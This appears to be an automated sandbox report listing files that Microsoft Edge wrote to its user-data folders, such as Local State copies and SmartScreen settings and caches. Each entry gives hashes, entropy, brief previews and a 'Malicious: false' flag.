Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b278.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089743600197916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMnkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6QkzItSmd6qE7lFoC
MD5:	DFBB5D0C1D2069506E743215D2FA4A5D
SHA1:	BBC54313EBB4D35C1DAC26A320B99D9A8AA21DA3
SHA-256:	3A4421DEE0FB86F521F49AC66EE8AB91610521BB18E2C8DECA25A4A38936F220
SHA-512:	BEEE7A3611B244E8A98AA7709386B4A8FC1F13057AE89AFBE4453E4661A71D1948BF133298D376E54D7AB8C2E905B2013A6662831A99ACBEFF8277A82D1A4ADE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d94a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089743600197916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMnkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6QkzItSmd6qE7lFoC
MD5:	DFBB5D0C1D2069506E743215D2FA4A5D
SHA1:	BBC54313EBB4D35C1DAC26A320B99D9A8AA21DA3
SHA-256:	3A4421DEE0FB86F521F49AC66EE8AB91610521BB18E2C8DECA25A4A38936F220
SHA-512:	BEEE7A3611B244E8A98AA7709386B4A8FC1F13057AE89AFBE4453E4661A71D1948BF133298D376E54D7AB8C2E905B2013A6662831A99ACBEFF8277A82D1A4ADE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41614.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089743600197916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMnkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6QkzItSmd6qE7lFoC
MD5:	DFBB5D0C1D2069506E743215D2FA4A5D
SHA1:	BBC54313EBB4D35C1DAC26A320B99D9A8AA21DA3
SHA-256:	3A4421DEE0FB86F521F49AC66EE8AB91610521BB18E2C8DECA25A4A38936F220
SHA-512:	BEEE7A3611B244E8A98AA7709386B4A8FC1F13057AE89AFBE4453E4661A71D1948BF133298D376E54D7AB8C2E905B2013A6662831A99ACBEFF8277A82D1A4ADE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4c34c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089743600197916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMnkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6QkzItSmd6qE7lFoC
MD5:	DFBB5D0C1D2069506E743215D2FA4A5D
SHA1:	BBC54313EBB4D35C1DAC26A320B99D9A8AA21DA3
SHA-256:	3A4421DEE0FB86F521F49AC66EE8AB91610521BB18E2C8DECA25A4A38936F220
SHA-512:	BEEE7A3611B244E8A98AA7709386B4A8FC1F13057AE89AFBE4453E4661A71D1948BF133298D376E54D7AB8C2E905B2013A6662831A99ACBEFF8277A82D1A4ADE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF52003.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089743600197916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMnkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6QkzItSmd6qE7lFoC
MD5:	DFBB5D0C1D2069506E743215D2FA4A5D
SHA1:	BBC54313EBB4D35C1DAC26A320B99D9A8AA21DA3
SHA-256:	3A4421DEE0FB86F521F49AC66EE8AB91610521BB18E2C8DECA25A4A38936F220
SHA-512:	BEEE7A3611B244E8A98AA7709386B4A8FC1F13057AE89AFBE4453E4661A71D1948BF133298D376E54D7AB8C2E905B2013A6662831A99ACBEFF8277A82D1A4ADE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.011046938238086
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXkUlUyn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUUl3
MD5:	F5C5A74D9ED0D9E7B6CB31F5B0552FD2
SHA1:	397372203E1BA25A9DD634304BB114C44B2A5E25
SHA-256:	04C53ABF7B132AE3453F925F577EBDCCCCCB4CB952B9530FE1128B8E8F663424
SHA-512:	9E620164497B78E2670F70227E8DFAED49169DE2CCD9AF481B793FBCD7884BDB40CFFAD983C4CB37F1DBD640F37097F2A163CF163D4CE8A28FDAFB110B0B0E19
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732618420836911}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
